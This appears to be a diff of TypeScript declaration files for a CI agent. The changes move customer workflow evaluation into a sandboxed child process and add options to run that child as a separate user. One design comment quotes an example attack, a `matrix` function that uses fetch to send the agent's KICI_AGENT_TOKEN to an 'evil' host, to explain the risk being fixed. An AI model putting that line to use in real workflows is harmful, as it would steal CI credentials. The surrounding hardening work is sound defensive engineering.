* Run one evaluation in a fresh child and resolve with its result.
|
|
38
|
+
*
|
|
39
|
+
* Rejects with the evaluation's own error text on `eval.error`, so the calling
|
|
40
|
+
* handler reports exactly the message the in-process evaluation used to throw.
|
|
41
|
+
*/
|
|
42
|
+
export declare function runEvalChild<T>(options: RunEvalChildOptions): Promise<T>;
|
|
43
|
+
//# sourceMappingURL=eval-fork-runner.d.ts.map
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The eval child: the only process in which customer EVALUATION code runs.
|
|
3
|
+
*
|
|
4
|
+
* The agent forks this entry once per evaluation job — `__init__`, `__dynamic__`,
|
|
5
|
+
* `__build__` and a global eval round — with an environment built by
|
|
6
|
+
* `buildSanitizedEnv`, so the workflow module, its `filter`, its dynamic `env` /
|
|
7
|
+
* `environment` / `concurrencyGroup` / `matrix` functions and any `DynamicJobFn`
|
|
8
|
+
* load and execute where the agent's credentials are not.
|
|
9
|
+
*
|
|
10
|
+
* They used to run in the agent's own V8 isolate with the agent's `process.env`.
|
|
11
|
+
* A `matrix: async ({ env }) => fetch('https://evil/', { body: env.KICI_AGENT_TOKEN })`
|
|
12
|
+
* in a pull request was therefore enough to take the agent's identity.
|
|
13
|
+
*
|
|
14
|
+
* This file is the IPC shell only; the evaluations themselves live in
|
|
15
|
+
* `eval-dispatch.ts`. Communication uses a message union of its own
|
|
16
|
+
* (`AgentToEvalMessage` / `EvalToAgentMessage`), NOT the step runner's — see the
|
|
17
|
+
* note above the union in `ipc-protocol.ts` for why sharing that one would be a
|
|
18
|
+
* privilege expansion.
|
|
19
|
+
*/
|
|
20
|
+
export {};
|
|
21
|
+
//# sourceMappingURL=eval-runner.d.ts.map
|
|
@@ -54,6 +54,11 @@ interface ForkRunnerOptions {
|
|
|
54
54
|
* Defaults to 30_000 (30 seconds).
|
|
55
55
|
*/
|
|
56
56
|
maxGracePeriodMs?: number;
|
|
57
|
+
/**
|
|
58
|
+
* Run the child as a dedicated user (uid, `uid:gid`, or a user name) instead
|
|
59
|
+
* of the agent's own. Opt-in; unset keeps today's same-uid behaviour.
|
|
60
|
+
*/
|
|
61
|
+
runnerUser?: string;
|
|
57
62
|
/**
|
|
58
63
|
* Spawn the runner child `detached` so it leads its own process group. Set by
|
|
59
64
|
* the bare-metal backend when orphan cleanup is on and bwrap is off, so the
|
|
@@ -119,6 +124,7 @@ export interface ForkRunnerHandle {
|
|
|
119
124
|
export declare function buildRequest(dispatch: JobDispatch, workDir: string, extra?: {
|
|
120
125
|
cleanupOnly?: boolean;
|
|
121
126
|
credentialHelperPath?: string;
|
|
127
|
+
allowInstallScripts?: boolean;
|
|
122
128
|
}): JobExecutionRequest;
|
|
123
129
|
/**
|
|
124
130
|
* Build bubblewrap (bwrap) arguments for namespace isolation.
|
|
@@ -151,6 +157,23 @@ export declare function buildBwrapArgs(workDir: string, nodeExecPath: string, ne
|
|
|
151
157
|
* the same clone-source affordance across both isolation models.
|
|
152
158
|
*/
|
|
153
159
|
export declare function fileCloneSourceBinds(repoUrl: string | undefined): string[];
|
|
160
|
+
/** A resolved POSIX identity for the runner child. */
|
|
161
|
+
export interface RunnerIdentity {
|
|
162
|
+
uid: number;
|
|
163
|
+
gid: number;
|
|
164
|
+
}
|
|
165
|
+
/**
|
|
166
|
+
* Resolve a `KICI_RUNNER_USER` spec to numeric ids.
|
|
167
|
+
*
|
|
168
|
+
* Accepts `uid`, `uid:gid`, or a user name. A name is resolved through `id`,
|
|
169
|
+
* which is present on every POSIX host the bare-metal backend supports; a uid
|
|
170
|
+
* with no gid takes that user's primary group.
|
|
171
|
+
*
|
|
172
|
+
* Throws on an unresolvable spec rather than silently falling back to the
|
|
173
|
+
* agent's own uid — the operator set this to get a boundary, so quietly not
|
|
174
|
+
* having one is the worst outcome.
|
|
175
|
+
*/
|
|
176
|
+
export declare function resolveRunnerUser(spec: string | undefined): RunnerIdentity | undefined;
|
|
154
177
|
/**
|
|
155
178
|
* Spawn the workflow runner as a child process with IPC channel.
|
|
156
179
|
*
|